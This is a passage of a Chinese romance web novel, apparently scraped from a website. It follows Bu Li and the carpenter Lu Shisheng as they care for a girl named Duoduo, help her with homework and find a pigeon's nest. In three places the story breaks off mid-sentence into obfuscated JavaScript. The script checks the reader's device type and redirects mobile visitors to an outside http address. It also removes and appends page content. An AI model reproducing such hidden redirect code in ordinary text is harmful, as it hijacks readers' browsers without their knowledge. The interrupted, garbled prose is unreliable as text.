“一会儿我就回。”陆时生保证道。 步梨点点头,“不急不急,你先安心在这暖暖吧,我看雨也快要停了,你等不下了再走便是。” 她笑了笑,“那我先回屋睡了。” 陆时生来了后,她觉得家里像是多了个保护神,莫名安心不少。 害怕的情绪消失后,她觉得浑身疲惫,万分想念床铺。 正好在陆时生走之前睡着,这样就不会因害怕难以入眠了。 步梨伸了个懒腰,回到卧室,锁了房门,很快进入梦乡。 ... 次日清早,步梨自然醒。 阳光透过窗帘照进来。 步梨在床上打了几个滚才起来,慢吞吞地打开窗户,雨后的空气格外清新,一片春光暖意。 步梨下了楼,沙发上一片凌乱。 她走近,陆时生还在沙发上没起,身形板直地躺在那儿,听到她的脚步声才懒懒地睁了眼。 步梨打了个哈欠,走过去的时候跟他打招呼道:“早。” “早。”陆时生回礼。 步梨从桌上顺手拿起一个被随意扔在那儿的头绳,简单绑了个马尾,准备去洗手间洗漱。 走了几步,觉得有些不对。 刚刚那是陆时生? 陆时生一晚上都睡在这里? !? “你怎么没回家?”她整个人惊愕在原地,顿时没了起床时的懒散。 陆时生挠挠头,说话的声音还带着刚起床时的嘶哑,“不好意思,睡过去了。” 因为声带还没醒,他声音听起来慵懒,显得这个人都比较淡定。 他的这种淡定却让步梨愈发炸毛,昨日他是不是跟她信誓旦旦地保证绝不会在这里过夜来着? 她心里响起一阵嘶吼—— 陆!!!时!!!生!!! 骗子!!! 10. 灯修好了 陆时生没走的原因很简单,他从来没有睡过这么软的沙发。 这沙发比他的床舒服多了,躺在上面,连他一贯的失眠症都被治好了。 昨晚也不知是什么时间,身体就不受控制地睡了过去,一直睡到今日天亮,导致他现在与步梨两个人大眼瞪小眼。 “你说话不算数。”步梨委屈里夹杂着恼怒。 陆时生深感抱歉,他无话可以辩解,想了半天,最后只硬邦邦说了句,“我发誓,我没离开这个沙发。” 步梨被他这话逗笑了。 她瞥了眼陆时生的腿,还是没忍住问了句,“你腿还疼吗?” 唉,她这个人就是心太软。 步梨也拿自己没办法。 陆时生摇摇头,“不疼了。” “那就行。你别把在这留夜的事情说出去啊。”她嘱咐道。 “放心吧,我不说。”陆时生保证。 “昨晚你也是这么保证的。”步梨露出无奈的眼神。 不过陆时生把这件事说出去,对他自己也没什么好处。 想到这里,她也算是放心了些。 见陆时生还呆愣地站在原处,步梨催促道:“你怎么还不走?” “哦,这就走。” 陆时生略显拘谨,他现在的状态跟在望潮超市与漂亮女人拉扯时应付自如的那个陆时生判若两人。 步梨一时不知道哪个才是他真实的性格。 陆时生简单地整理了下衣衫,提步要走,步梨又突然将他喊住。 只见她跑上二楼,一路到阳台,身子探出护栏看向街道,左边望了望,右边也望了望,确定街上没有来人之后,才放心地下楼,让陆时生趁着这个空档赶紧离开。 陆时生见她如此谨慎,心里忽然觉得怪怪的。 怎么有种两人偷情的感觉? 他还不是正房,要鬼鬼祟祟离开。 步梨看出他的狐疑,咧嘴朝他笑了笑,“谣言可畏,还是谨慎一些得好。” 之前她从江北艺术学院辞职,就是因为没当回事,结果谣言四起。 这事儿让她心里总归是有点阴影。 “好的。”陆时生没再说什么,村子里有不少闲人爱传八卦,步梨的担心也不无道理。 他赶紧离开便是。 陆时生打开门,也先望了望两边,确定没有人过来后才抬步出去。 “对了,灯我给你修好了,你一会儿可以试试。”陆时生在门口说了句。 “修好了?怎么修好的?”步梨惊讶。 “保险丝断了,换上备用的保险丝就行了,我看旁边就有能用的工具箱,就用了。”陆时生道。 这么大房子,晚上不开灯确实有些恐怖,况且他昨晚看出来了,步梨怕黑。 “谢谢了。”步梨道。 “不客气,我先走了。” “嗯嗯。”步梨在他身后送他,陆时生的手机铃声在这时候响了起来,步梨因为心虚走神,被吓了一跳,人控制不住地一机灵,陆时生抬头看她一眼,步梨挤出一个笑容,掩饰自己的尴尬。 陆时生接起电话说了几句,面色也严肃起来,等他挂了电话,步梨问他:“怎么了?” 陆时生道:“朵朵打来的,说桂香奶奶早上出去买菜时忽然肚子疼,我得去看一下。” 步梨看他的表情,猜到事情紧急,急忙道:“我跟你一块去吧,骑电动车,你载我。” “和我一块?”陆时生顿了顿。 “对啊。” “行。”陆时生点头答应。 ... 桂香奶奶的家与望潮木工坊只隔了一条街道,是一处三间的灰砖老房子。 朵朵的父母外出务工,这家里只有桂香奶奶独自一人带着朵朵生活。 陆时生和步梨到的时候,桂香奶奶并不在,只有朵朵一个人在。 “朵朵,你奶奶呢?”陆时生问。 朵朵说道:“有一个大哥哥送她去医院了。” “哪个大哥哥?” “不认识,他个子很高,长什么样我没记住,不过他留了个电话号码给我,说是让我找到人去医院后可以打这个电话给他。”朵朵把一个纸条递给陆时生,将目光看向步梨,“香瓜姐姐你怎么也来了?” “刚好在一块。”步梨详细询问道,“你们早饭吃了什么?桂香奶奶为什么忽然肚子疼?” “吃的煎鸡蛋,可是我肚子不疼啊。”朵朵回答完,忽然想到,“哦,我奶奶把前天晚上剩的粥吃了。” “前天的?”步梨惊讶。 陆时生叹了口气,这老太太一向这样,舍不得扔剩饭剩菜,说了好几次也不听。 步梨对陆时生道:“要不你医院看看吧,昨天你借的车,正好还没还,跟菲姐说一下,能不能再用一天呢?” “嗯。”陆时生点点头,“朵朵就先麻烦你看一下了。” 他嘱咐一声,开车去了医院。 步梨带着朵朵到了望潮木工坊。 朵朵一张小脸绷得紧紧的,满脸写着担忧,看起来怪可怜的。 步梨看得揪心,宽慰她道:“放心吧,没事的,你奶奶应该就是吃坏了肚子,到医院打打点滴,开些药就行了,以后别让你奶奶吃隔夜的剩饭剩菜了,还有生冷的食物也别吃哦。” “嗯嗯。”朵朵重重点头。 早上店里没什么人,步梨守着清冷的屋子有些无所事事,便开始和朵朵聊天,正好转移下小姑娘的注意力,“对了,你是不是经常来帮陆时生哥哥看店呀,那看店的时候,你都做什么呀?” 朵朵道:“没人买东西的时候,我就在这里写作业。” “嗷,那你去拿作业吧,姐姐在这陪你一块写作业怎么样?”步梨想着她有事情做,也能缓解一下悲伤的情绪。 朵朵站着没动,“可是我一会儿要去上学。” 步梨:“.......” 忘了今天是周一。 “几点上课啊?” “八点。” 步梨急忙看了下时间,都八点半了,肯定迟到了。 “那姐姐送你去上学吧,但我不认识去学校的路,你会指路吗?” 朵朵点点头,“店怎么办?” “没事,你先去拿书包过来。”步梨道。 朵朵回去收拾了书包,步梨找了张纸,在上面写上“临时有事,9点开始营业”,贴在了门上。 等朵朵回来,她锁了门,骑车带着朵朵去了学校。 朵朵坐在她身后,一双小手紧紧抓着步梨的衣角,步梨觉得自己被她依靠着,有一种莫名其妙的成就感。 朵朵在她身后问:“香瓜姐姐,你骑得好慢,怎么一点也不着急?” “安全最重要,着急也没有用的,无法改变的事情,只能保持一颗好心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“在路上骑车的话,安全是最首要的。”她说完,想起屋里的大爷还没动静,便提高了音量又喊了他一句,“大爷——” 警卫大爷这才注意到门外有人,他慢腾腾地走出来,看着一高一矮两个人,皱眉喊了句:“刚来啊!里面学生们都快下课了!” 步梨笑笑:“到了正好上第二节课。” 大爷嚯了一声,一边给开了旁边的小门,一边道:“进去吧,您这家长心可真大。” “谢谢大爷。”步梨礼貌道谢。 大爷摆摆手,“没事,我懂的很,你们现在这些当爸当妈的小年轻啊,自己都起不来,别说送孩子了。” 步梨一脸黑线,“大爷,我是她姐姐。” “啊?”大爷眼神不好使,凑近了看才恍然大悟,“我说呢,看着是年轻,还面生,没见过。” 大爷边说眼珠子边转,似是在回想着什么。 朵朵偷笑了几声,进门前不忘对着步梨嘱咐,“香瓜姐姐,晚上四点半钟我放学,记得来接我,最晚不要超过五点,谢谢香瓜姐姐。” 她一路小跑着进去,步梨跟大爷说了再见,大爷突然拍了下大腿,“我想起来了,之前好几次都是一个男的小伙来送这娃呢,原来你俩是两口子啊!” “那是她哥哥。”步梨汗颜。 没想到这大爷眼神不好使,记性却这么好。 大爷恍然大悟,“哦,你俩两口子轮着帮别人送娃。” 步梨:“......” “我俩也不是两口子,是普通朋友,小姑娘跟奶奶一块过,她奶奶腿脚不方便,我们帮个忙接送一下。” 步梨总算解释完,跟大爷道了别,骑车回了望潮木工坊看店。 11. 辅导孩子写作业 回到望潮木工坊时,门开着,里面似乎有人来了。 步梨走之前锁了门,现在门被打开了,她还以为进了贼,忙进去看,原来是崔胖来上班了。 “崔小胖,你什么时候来的?”她喊了一声。 崔胖正坐在前台嗑瓜子,见步梨来了,还以为她要买东西或者拿快递。 “我每天9点钟准时上班啊,步梨姐姐买东西吗?” 步梨道:“我今天在这里帮忙看店。” “你看店?那你知道生哥去哪了吗?” 步梨把早上的事情讲了一遍,并掩盖了陆时生在她那过夜的事实,只说自己是今天早上才来,正好碰上了这事儿。 崔胖有些不满地点了点头,满脑子只是想着今天他得多干一个人的活儿了。 步梨见他情绪低落,眼下还有两个大大的黑眼圈,想到昨天他被吓得尿了裤子,立刻就猜到昨天晚上他定然也不太好过。 拜陆时生所赐,她成功睡着了,而且睡得很好。 步梨幸灾乐祸之余,又开始担心今晚。 今晚可没人陪她了。 罢了罢了,还有一整天呢,担心什么,说不定今晚她就没那么怕了。 白天,步梨跟着崔胖学习了打理店铺,从早上就开始拖地,擦货架,早春风还凉飕飕的时节,步梨整个人大汗淋漓。 歇下来时,她直接不客气地拆了零食箱里的几包零食补充被消耗的精力。 等陆时生回来了,还得要向他讨要工钱。 中午是崔胖煮的泡面,两个人简单凑合了一顿。 虽然崔胖学着陆时生的手艺在锅里放了一袋牛奶,但步梨总觉得口味差了点意思。 吃完饭她给陆时生发了消息询问桂香奶奶的情况,结果比她想得要糟糕些,是变质食物引发的急性肠胃炎,需要在医院打几天点滴。 步梨发愁:“那朵朵怎么办?” 陆时生回的很快,“住我家。” 步梨:“住你家?你能照顾好吗?” 陆时生:“她经常住我家。” 步梨觉得陆时生真的很像一名单身爸爸。 他会给小姑娘梳小辫吗? 她忽然想问。 步梨脑子里灵机一动,忽然冒出一个想法,不如让朵朵和她住去,当她的定心丸,今天晚上她也不用担心怕鬼了。 ... 下午来买东西的人还挺多,经历了几次过后,步梨对收银员的业务信手拈来,各种物品的价钱了熟于心,空闲的时候,还突发奇想把陆时生雕刻的一个小狗上了色。 等到了四点钟,她准时出发,去学校门口接朵朵放学。 上学可以晚,但放学一定要准时! 步梨骑着她新买的小电车,哼着小曲走在路上。 又不是她放学,她开心什么? 她自言自语地嘀咕了两句,手把一转,速度开起来,整个人就像风一样自由。 下午四点二十,学校门口已经有很多家长都在门外等候。 四点半,放学铃声准时响起,校园一下子喧闹了起来。 一个个跟小萝卜头排着队从教学楼蹦蹦跳跳跑出来,步梨旁边的大哥朝着门口挥手,寻着他的目光过去,一个梳了四个辫子的小女孩登登跑了过来,笑盈盈地扑到大哥怀里,缺了一颗门牙也没耽误她开心地喊爸爸。 步梨感慨地看了会儿,收回目光,伸着脖子找她的“定心丸”。 许多年前,她也是这样背着一个巨大的书包从校园里蹦蹦跶跶地出来,等快到校门口的时候再故意佯装淡定,实则早就迫不及待,眼珠溜溜转着一直在门口搜寻。 这样的时光好像就在昨日。 步梨正出神,一个小手拉了拉她的衣角,把她拉回现实。 “香瓜姐姐,你在看什么?” 朵朵已经站到了她的身边。 步梨低头看见朵朵,摆出一副慈母一般的笑容,学着从前她妈妈问她的话,蹲下来问朵朵:“今天在学校怎么样?有没有什么开心的事?” “就那样,没什么特别的。”朵朵淡然道,“哦,就是有个同学把衣服穿反了,我告诉了她,她却怪我讲了出来让同学都知道了,哭了半天。” 步梨一愣,随即道:“那下次你悄悄告诉她。” 她想着要不要再说些什么,朵朵已经没再把这件事放在心上,转而问道:“我奶奶回来了吗?” 步梨如实相告:“你奶奶在医院打点滴,要住院,这几天你就跟我住。” “住院几天?”朵朵认真地问。 “可能三四天,或者四五天吧。”步梨道,“你陆哥哥照顾她呢,放心吧。” 朵朵点了点头,又低头思考了一会儿,抬头问:“时生哥哥允许我跟你住吗?” 步梨笑道:“你这么听他的话啊?他是你亲哥哥?还是表哥?堂哥?” 朵朵一一摇头。 “那你想不想跟姐姐住?” 朵朵又在沉思,过了会儿,问:“可听说你家是鬼屋。” 步梨一头黑线。 “那都是谣言,你知道什么是谣言吗?” 朵朵摇摇头。 步梨给她解释道:“就是这件事并不是真的,只是有人传错了话,再一传十十传百,人们都以为这件事是真的,但实际上这件事是假的,额我说得清楚吗?” 步梨觉得她的语言系统着实混乱。 好在朵朵是个聪明孩子,听了步梨的话居然点了点头,“明白了。” 步梨松了口气。 朵朵大概还是不放心,便提出要求道:“能先去你家看看吗?” 步梨心道小家伙还挺谨慎。她点头答应:“好啊。” 步梨变道而行,一路带着朵朵到了绿柳街。 从下车开始,朵朵的手就一直抓着步梨的衣角没放心,一看便是心里害怕,但又不好意思说出来。 普通的小孩多半会直接抱着大人喊害怕,以寻求安慰,朵朵却将这种情绪全都藏在心里,步梨想到,会不会与她从小不与父母生活在一起有关,所以她比别的小孩更早熟些。 一时她有些心疼。 “要不要拉手?”步梨向她摊出掌心。 小孩就是小孩,害怕是真的,但也容易无条件信任他人。 朵朵握住步梨的手。 她的手很小,凉凉的,步梨紧紧握住,注意到她紧皱的眉头渐渐舒展了开来。 这种紧张的表情一直到朵朵进门,然后在一瞬间终结。 朵朵瞪大了眼睛呆在原地,目光似乎是被某种魔法吸引了住,从左到右,再从又到左,来来回回转了三四遍,嘴巴张成一个O型,半天才发出声音。 “香瓜姐姐,你家好像童话里的城堡。” 步梨有一些小小的得意,借此机会问:“那你今晚要不要来和姐姐一起睡?” 朵朵疯狂点头,“城堡里没有鬼,只有公主。” “当然了,咱们两个就做公主姐妹。” 进了屋子,她让朵朵随便参观。 倒也不需要她说,朵朵已经迫不及待地将一楼的各个角落跑了个遍。 步梨往沙发上一瘫,举起手机拍了张朵朵兴奋奔跑的照片,发给陆时生,并配文:“你的小孩在我手里,桂香奶奶出院后,请提两斤鸡蛋,一箱方便面,一箱牛奶来赎人。” 隔了一会儿,陆时生才回。 “在你家?” 步梨:“这客厅你昨晚刚刚睡过,现在就不认识了?” 说起这事,陆时生又有些不好意思,“认识。” 步梨:“这两天朵朵住我家,她很喜欢这里。” “但到时候需要赎人这件事是真的,带孩子很辛苦,所以我是要报酬的,而且我还帮你照看了店铺,今天卖出去了三把小椅子,一根木簪,我给你雕废了的小狗上了色后,还有个小孩想买,我没卖。” 步梨噼里啪啦打完字,又拍了张自己的纤纤玉手,上面被磨出了一个水泡。 以前她也算是个十指不沾阳春水的大小姐,在家从没干过活儿,刚来花溪镇几天,就莫名其妙当了陆时生的临时工,又是拖地擦货架,又是搬快递,手上都磨出茧子了。 陆时生发来了一个“深感抱歉”的鞠躬的表情。 又道:“改日定亲自奉上谢礼。” 态度挺诚恳的。 步梨笑了一声,想着回点什么,陆时生又发来消息:“今天休息吧。我让崔胖也回去,晚上不开张了。” ... 晚上8点半。 绿柳街12号的“公主房”里。 步梨在辅导朵朵写作业。 本以为小学二年级的数学题她信手拈来,步梨信心满满地拿过试卷看了题目,有点茫然。 题目很简单,一个正方形与半圆形成的组合图,求阴影部分的面积。 她盯着图形,过了一分钟,茫然又多了些。 五分钟后,步梨开始怀疑人生。 朵朵在边上提醒了一句,“香瓜姐姐,这是奥数题。” 一听是奥数题,步梨对自己的怀疑减少了几分。 可就算是奥数题,朵朵才二年级。 此时此刻她正以一双纯真且信任的眼神看着她,步梨怎么可以说不会? “你先写语文。”步梨拿了只笔,“只用眼看容易出错,我拿笔算算,算完了叫你。” 她神色认真起来,在演算纸上勾勾画画,画了好几条辅助线,结果越分割越乱,最后她感觉自己的大脑都被分成了七八块,每一块里面都装了一团乱麻。 过了一会儿,她感觉身旁有双眼睛在盯着她。 步梨转头,与朵朵清澈的目光相对。 “怎么了?”步梨问。 朵朵道:“语文写完了。” 步梨大惊,“这么快?” 朵朵点点头。 步梨:“那写英语吧。” 她这个留过学的海归,总不会被小学生英语难倒。 “英语老师今天没布置作业。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375878|168336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 步梨当头一棒。 只能与数学题死磕了。 真是开了眼了,小学的奥数题怎么是这样的难度? 步梨最后挣扎着问了句,“你们有美术作业吗?” 想也知道没有。 毕竟上学时期的美术老师经常体弱多病,此特征全国统一。 默了片刻,步梨灵机一动,对朵朵说道:“饿不饿?姐姐先给你切点水果,吃完再写。” 朵朵开心答应。 步梨像是得到了解脱一般,跑去厨房切水果,一盘蜜瓜切完,她悄悄戳了戳陆时生。 “在吗?江湖救急!” 陆时生这次秒回。 “在写数学作业?” 步梨:“!” “你怎么知道?” 陆时生:“猜的。” 步梨发了个大拇指过去,紧接着把刚才偷拍的题目照片发了过去。 那边让陆时生先算着,她端着果盘回到卧室,朵朵还在思考那道数学题。步梨心里涌出几分欣慰。 ——真是个好孩子。 刚坐下,手机就响了一声。 没想到陆时生算得这么快,步梨背过朵朵,点开来看,消息框里只有一个数字,“24。” 步梨皱眉。 “过程呢?” 陆时生:“没过程,用眼看出来的。” 步梨备受打击。 “怎么可能?我想了半天,你是不是以前做过?” 陆时生:“没做过。” “这题很简单啊。” “你是不会吗?所以问我?” 三连击。 步梨小火山欲要爆发。 朵朵:“香瓜姐姐,这道题你算出来了吗?” 步梨清了清嗓子:“嗷嗷,二十四!” 朵朵歪了歪头,“为什么?” 步梨挤出两个字,“感觉。” 朵朵:“?” 步梨受不住她真诚的目光,最终败下阵来。 “好吧,姐姐不会做。” 步梨给陆时生打了视频电话过去,声音低落地问道:“为什么是24?” 垂头丧气的神色里带着几分无助,又掺杂了几分不服。 陆时生淡淡地开口,“大扇形加上小扇形减掉长方形的面积。” 步梨盯着图形,调动了自己所有的想象能力,终于在一瞬间茅塞顿开,并对自己方才的愚钝感到惭愧。 “时生哥哥好厉害!”朵朵佩服得鼓起掌来。 步梨内心也暗暗敬佩了一番。 陆时生开始视频连线给朵朵辅导作业。步梨在一边看着,陆时生的大脑就像是参考答案,几乎都是读完题就能立刻说出结果。步梨从敬佩转为惊叹。 陆时生不考大学真是可惜了。 她在边上没事,做了个简单的护肤,边敷面膜边闭目养神,大概十来分钟后,陆时生那边也辅导完了,步梨听到陆时生在手机那边说:“朵朵,你让步梨姐姐教你画画吧,步梨姐姐画画得可好了。” 上次在望潮木工坊,她跟崔胖聊天,随口说她之前是美术老师,陆时生当时在做饭,居然也听到了。 朵朵听了兴奋到拍手,“好呀,香瓜姐姐你是大学生吗?” 步梨点了点头。 朵朵道:“那我也要考大学!” 步梨摸了摸她的脑袋顶,“你这么聪明,肯定要考大学啊!到时候,你就考全国最好的大学,江北大学!” 朵朵歪着头问:“你上的是江北大学吗?” 步梨不好意思地笑了笑,“我可考不上,咱们村就指望你了。对了,陆时生,你这么聪明,怎么没考大学?” 步梨想着,她读书那会儿要是数学能像陆时生这么好,说不定也能考上江北大学的艺术系,可惜她文化分差了几分,后来才去了国外。 陆时生听到她的问题,愣了愣,随便找了个理由,“年少无知呗。” 步梨道:“现在想考也来得及,听说好多学校有数学特招生的,我觉得年龄不是问题。” 陆时生显然是走神了,不知在想什么,步梨觉得他好像并不愿意谈起这个话题。 关于特招,步梨也是之前听沈思筝随口说的,具体什么要求她也不知道,而且陆时生的水平也不一定能考,会几道小学奥数题也说明不了什么问题,她没再说什么,伸了个懒腰,对陆时生道了声晚安后,便挂了电话。 电话那边,陆时生守着桂香奶奶打完点滴,等她睡着后,打道回府。 他出了病房,在走廊上慢腾腾地走着,顺着楼梯一直踱步到二层,他见到了个熟面孔,刘主任,他曾经的主治大夫。 陆时生和他打了个招呼,交谈了几句,便离开了。 路上他经过了一间病房,208号房,他曾在这里住过一个月,他的人生也是从这里开始的。 学生时代的记忆,乃至更早些的童年时期,陆时生都不记得了。 他的过去,是一片空白。 12. 身手敏捷的超级学霸 当晚,朵朵跟着步梨学了会儿画,便早早睡觉了,带孩子的第一天顺利度过。 接下来的两日,步梨都过着家庭主妇的日子,白天在家收拾屋子,到了放学的时间就去接朵朵,晚上便给朵朵复习会儿功课,再教她画画。 到了步梨极为顺手的领域,步梨一脸骄傲,只用一根铅笔就花了一副广阔的山水图,朵朵惊得拍手鼓掌,步梨在如此真诚的称赞中渐渐迷失自己。 这日半夜,步梨被朵朵叫醒。 步梨翻了个身才肯醒,慢腾腾地坐起身,边揉眼边问:“怎么了?睡不着?是不是想上洗手间呀?” 朵朵摇了摇头,步梨以为她是认床睡不着,这可没辙,她又不会给小孩讲故事。 “放点催眠的音乐行不?”她想到一个办法。 砰砰砰—— 朵朵还没回答,窗外先传来了敲击声。 朵朵伸手指了指窗帘后面,说道:“一直在响。” 步梨打了个冷战,人瞬间清醒。 她也清楚地听到了敲击声,还有树叶摩擦发出的窸窣声,时而又像是有什么东西在猛撞玻璃。 “应该是鸟吧。”步梨猜测着。 她话刚说完,朵朵小脸上的五官一拧,拽着步梨开始哭起来,“香瓜姐姐,我害怕——” 步梨急忙哄她:“别害怕,肯定是鸟。” 那边又窸窸窣窣地动了几声,声音愈发大,朵朵直往步梨怀里钻,哭着问:“是大鸟妖吗?” 步梨有点想笑,她从哪听来这么一个词? “没有鸟妖,估计是乌鸦,要么就是猫头鹰,或者啄木鸟,你见过吗?”步梨试图转移她的注意力,但最终失败。 “可是昨天我也听到了。” “它......在这里住的。” “我想要时生哥哥——我要时生哥哥——” 步梨抽了几张纸给她擦眼泪,原本她还算是淡定,此刻被朵朵这么一闹,也有点心慌,迟疑了好几次,愣是没敢去掀开窗帘查看情况。 “香瓜姐姐,我想要奶奶,想要时生哥哥——” 朵朵哭得一把鼻涕一把泪,看着怪可怜的。 步梨没办法,打开手机看了一眼,夜里23点52分。 这个时间让陆时生过来,怎么说都说不过去吧。 说不过去。 说不过去...... “朵朵,太晚了,你时生哥哥都睡了。”她想了个理由推辞道。 ... 半小时后,有人敲门,陆时生到了门口。 步梨稍微整理了一下发型,披了个外套,小心翼翼去开门。 一阵夜风刮过,带着海风里特有的潮湿。 陆时生携着一身寒气进门,步梨因为这么晚给他叫过来略感不好意思,贴心地给他准备好了拖鞋和温水。 陆时生换好了鞋,见朵朵快步跑过来,一把抱住了他的大腿,“时生哥哥,我害怕。” “怕什么?”陆时生将朵朵抱了起来。 朵朵边抹眼泪边说:“香瓜姐姐家有妖怪。” 陆时生一笑,耐心地安慰:“哪有妖怪?” 这会儿,步梨也从后面凑上前,小声问道:“陆时生,你进门前没看到有什么人或者东西在外面吧?” “没看见。”陆时生看了她一眼,眼里的意思明显在说“你怎么也觉得有妖怪?” 步梨放心地舒了口气,对朵朵说:“你看吧,他都说没有了,肯定是鸟。” “在自己家里还害怕?”陆时生问。 步梨如实承认:“这不上次去玩密室了吗,有点阴影,得做一段时间的心理建设。” “没那金刚钻就别揽瓷器活,这么胆小,还去玩密室。” 陆时生这话说得一点面子都没给她留,步梨生气叉腰,“我没胆子小!” “哪里有声音?”陆时生没接她的话,就像是无论她说什么,他都已经认定了她胆小的事实一般,根本不在意她的回答,只淡淡地直奔主题。 步梨把他带进卧室,指着窗户道,“就在外面,不知道是鸟,还是什么别的。” 她小声对陆时生道:“这儿不会有蝙蝠之类的吧。” “不排除有这种可能。” 陆时生语气似乎是认真,又像是在开玩笑,步梨分不清,只能由着他乐。 交谈间,陆时生很利落地拨开窗帘,走到阳台四下看了一番,什么也没有。 “可能是在外面。”他说,“应该是小鸟,有椅子吗?” 步梨给陆时生搬来一把椅子,示意他可以直接踩上去。 “小心点。” 陆时生踩上椅子,顺势一跃过了栏杆,步梨也不知道他是踩了什么过去的,只觉得他身手敏捷,三下五除二便爬上了房顶。 臂力强到可怕,步梨暗暗钦佩,正想着,头上传来陆时生的声音。 “找到了。” “你要看看吗?” 他问步梨。 “什么啊?”步梨好奇,又有些害怕,“我上不去。” 陆时生没再说话,步梨从下面脖子伸到最长也看不到他在干什么,等了一会儿,有些着急,便喊了他一声。 “陆时生?” 话音刚落,陆时生一个翻身拽着阳台上的屋檐跳了下来,平稳落地。 步梨眼尖地看见他掌心握着一个东西,她走近一瞧,是一个小小的像是鹌鹑蛋一样的东西。 “鹌鹑蛋?”步梨惊喜道。 “鸽子蛋。”陆时生道,“你这里是两户人家,你一户,还有鸽子一户。” “我没邀请它们来。”步梨一边说着,一边从陆时生手里拿回了鸽子蛋,仔细地打量着,白白的圆圆的小小的,和鹌鹑蛋也没什么区别,“原来是鸽子.......朵朵,快过来看,还有鸽子蛋呢。” 朵朵登登登地跑过来,兴奋道:“给我拿拿。” “别摔了啊。”步梨小心翼翼地把蛋放在她掌心,朵朵眨着一双圆眼睛,表情跟方才步梨的表情如出一辙。 “多谢了。”步梨为自己被鸽子吓到的事情感到不好意思,跟陆时生道了声谢,“没想到你身手这么好啊,在哪学的?” 他方才那一番动作,抓、蹬、爬、跃,每一步都干净利落,迅速准确地找到攀爬的借力点,很像是受过专业的训练。 “没学过,天生就会。”陆时生也不知道自己哪来的这一身本领,他只是靠本能的判断爬了上去,“也不难爬吧。” 他补充了一句。 步梨无话可说,她感觉衣服被人拽了拽,低头见是朵朵。 “香瓜姐姐,给你。”朵朵把鸽子蛋还给步梨。 “看够了?” “嗯嗯。”朵朵点点头,“能把它放回去吗?” 小朵朵真的很善良。 步梨把蛋交给陆时生。 “放回去吧,它妈妈得着急了。”步梨道,“别一会儿闯进来寻仇了。” 陆时生照做,以取鸽子蛋时一样迅速敏捷的动作,物归原主。 他脸上手上都沾了灰尘,转身去了洗手间,“我去洗一下。” 因为只是洗脸,他没关门,步梨懒洋洋靠在沙发上削苹果,她把削好的苹果给了朵朵,便去看看陆时生洗好了没有。 透过门缝,正好看到陆时生的侧脸。 卫生间的灯光是昏黄的色调,映在他脸上,衬得他面部的线条愈发清晰俊朗。 步梨不由得咽了下口水,今日仔细一看,陆时生也算是人间绝色,果然是花溪镇一枝花。 一枝花刚洗过脸,没用毛巾擦,只胡乱用手抹了几把,刘海上还沾着水,胸口解开的扣子添了几分禁欲感。 步梨愣神了会儿,才反应过来陆时生已经走到了她跟前,伸手在她眼前晃了晃。 “看什么呢?” 步梨摇摇头,将视线移向别处。 灯修好了后,房间里十分亮堂。 陆时生顺着她的目光望过去,是步梨平时作画的地方。 他走过去,见画架上放着步梨临摹的油画,他觉得有些眼熟,在大脑里搜索了一番,说出一串名字,“《米德哈尼斯的林荫道》?” “你知道这个?”步梨有点惊喜。 陆时生点点头,“原作是霍贝玛的作品,这篇是大卫·霍克尼模仿模仿的画作。” 桌上厚厚的一摞画纸,都是步梨临摹的作品,陆时生伸手想去翻看,又意识到不妥,将手缩回来,询问步梨的意见,“可以看看吗?” 步梨没想到陆时生竟然还懂画,不过陆时生雕刻的手艺那么好,肯定平时在美术方面也下了不少功夫,步梨觉得她算是遇到了同道中人,便主动拿着她的画册给他展示了一番。 陆时生看了一会儿,问:“这些也是霍克尼的作品?看着风格很像。” 步梨点点头,又觉得奇怪,为什么陆时生认识那幅《米德哈尼斯的林荫道》的仿作,却不认识这些。 “这都是霍克尼晚年的作品,你后续没有关注他的画吗?” 陆时生没在大脑里搜索到相关信息。 步梨说道:“这是他在诺曼底的工作室,是不是和我的这栋老房子很像?” 霍克尼总是喜欢追求并学习新鲜的事情,这样的生活才会有趣,而且他的画用色大胆,细节丰富,让人看了心里很温暖。 “嗯,很像。”陆时生简单应了句,他在想自己到底 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375879|168336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在哪里看的霍克尼的画,而且只对他2017年以前的画有所了解。 步梨见他垂着眼不怎么接话,以为他没多大兴趣,没再多说。两人聊了两句,便没话了。 周围回归安静。 朵朵坐在步梨身边啃着苹果,眼神呆呆地望着陆时生,不知道在想什么,过了一会儿,忽然起身跑到陆时生身边,抱着他的腿说道:“时生哥哥,香瓜姐姐的房子是不是很漂亮?” 陆时生点点头。 朵朵说道:“那你也在这儿睡好不好?” 陆时生笑了笑,“这是你香瓜姐姐的家。” 朵朵立刻看向步梨,乞求道:“香瓜姐姐,让时生哥哥在这儿睡好不好?” 陆时生道:“朵朵,别胡闹。” “我没胡闹!你之前不就在这儿睡过吗?” 陆时生、步梨:“.......” “哪有啊?”步梨道。 “我觉得你对这里很熟啊。”朵朵理直气壮。 这城堡这么大,方才时生哥哥明明一下子就找到了洗手间的位置,不像她,去哪里都要香瓜姐姐带着才能找到。 她指着陆时生上次留在这儿的裤子,“那这条裤子是怎么回事?还有我奶奶肚子疼,我去找你,你分明就不在家,后来还是和香瓜姐姐一块来的!” “别以为我是小孩子就骗我!” 朵朵生气地偏过头。 